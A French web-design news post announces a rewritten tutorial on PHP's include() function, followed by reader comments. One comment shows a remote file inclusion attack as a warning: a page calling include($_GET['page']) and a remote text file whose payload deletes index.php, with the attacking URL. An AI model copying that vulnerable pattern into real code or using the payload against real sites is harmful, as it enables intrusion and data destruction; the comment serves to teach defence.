Refonte du tutoriel sur la fonction PHP include

Actualité par (Intégrateur du Dimanche, Strasbourg)
Créé le , mis à jour le (15034 lectures)
Tags : alsacréations

Classé dans la catégorie des tutoriels les plus décriés (en compagnie de celui sur les menus déroulants), l'article sur les "pseudo-frames" en PHP vient d'être complètement remis à jour.

Les modérateurs du forum commençaient à se lasser des multiples messages tels que J'ai remplacé mes frames par des includes et du coup mon site explose parce que j'ai 15 doctype, html, head, body....

Voici donc une nouvelle version du tutoriel Inclure un fichier dans un autre grâce à PHP, à présent séparé en trois parties distinctes : une explication de la fonction include(), une mise en pratique et une partie pour aller plus loin.

L'instruction include() n'aura maintenant plus aucun secret pour vous...

Commentaires

Florent V. a dit le

Une initiative salutaire ! :)

Victor BRITO a dit le

Sauf erreur de ma part, il me semble qu'un fichier autre que PHP appelé par la fonction include () est interprété comme si c'était un fichier PHP.

Je dis bien il me semble. ;)

dew a dit le

Dans l'extrême majorité des cas, non, car cela dépend de la configuration interne du serveur (Apache + PHP).

Sylvain a dit le

Dew: Pourtant, on voit des fichiers .inc, .tpl , inclus dans beaucoup de scripts... et ils agissent comme s'ils étaient en PHP;
Du moins il me semble.

Sinon, excellent article, très bonne qualité.

Julien a dit le

Merci Cygnus, et vivent les kiwis.

dew a dit le

Sylvan : oui mais c'est une grosse faille de sécurité ;) Ensuite, il ne faut pas oublier les tags appropriés. C'est pourquoi on inclut rarement du code PHP dans des fichiers ne portant pas cette extension (du moins dans mon univers, après à chacun ses pratiques).

QuentinC a dit le

Une jolie refonte tout en profondeur et en clareté, bravo.

Une remarque à propos du chapitre "Aller plus loin" : la démarche proposée ne montre pas comment faire pour obtenir un titre différent par page. Je trouve qu'il serait bien d'attirer l'attention sur ce problème et sa solution.

[quote ]
Sauf erreur de ma part, il me semble qu'un fichier autre que PHP appelé par la fonction include () est interprété comme si c'était un fichier PHP.
[/quote]
+1. C'est ce qui vaut la mauvaise réputation qu'entretient la fonction include avec la sécurité pour bon nombre de débutants.

Un exemple simple pour montrer que c'est bien le cas.
[b]Note 1 : ceci est l'exemple-type de ce qu'il ne faut SURTOUT pas faire[/b] :
Note 2 : J'ai volontairement viré un "t" pour les URL afin qu'ils ne soient pas transformés en hyperliens inutiles.

page htp://www.noobinclude.com/index.php
[code]
<?php include($_GET['page']); ?>
[/code]

page htp://www.monsite.com/mechant-hacker.txt
[code]
<?php unlink("index.php"); ?>
[/code]

Si maintenant on appelle htp://www.noobinclude.php?page=htp://www.monsite.com/mechant-hacker.txt ... vous avez deviné le résultat.

Pour inclure un fichier sans que php l'interprète, il faut utiliser la fonction readfile (cf. doc fr.php.net/manual/fr/func... ) ou un echo file_get_contents.

Nicofrand a dit le

C'est une bonne chose que cette refonte! on ne pouvait laisser passer de telles incompréhensions!

dew a dit le

Suis-je le seul à configurer les serveurs de façon paranoïaque ? ^^

Victor BRITO a dit le

Que tu sois le seul, je n'en sais rien ; mais, lorsqu'on ne peut maîtriser la configuration du serveur (cas d'un hébergement mutualisé), le risque de voir un fichier autre que PHP interprété comme si c'était du PHP n'est pas écarté. D'ailleurs, la démonstration de Quentin montre que la technique dite des "pseudo-frames" comporte une grosse faille de sécurité si on ne vérifie pas la valeur passée par l'URL.

Julien a dit le

> D'ailleurs, la démonstration de Quentin montre que la technique dite des "pseudo-frames" comporte une grosse faille de sécurité si on ne vérifie pas la valeur passée par l'URL.

Qu'est-ce que tu appelles "technique des pseudo-frames" exactement ?

Victor BRITO a dit le

Un URL vaut tout un discours : www.phpdebutant.org/artic...

Findel a dit le

Si votre fichier à inclure ne contient que du HTML, le mieux à faire reste d'utiliser la fonction readfile() là au moins, aucun risque pour votre serveur.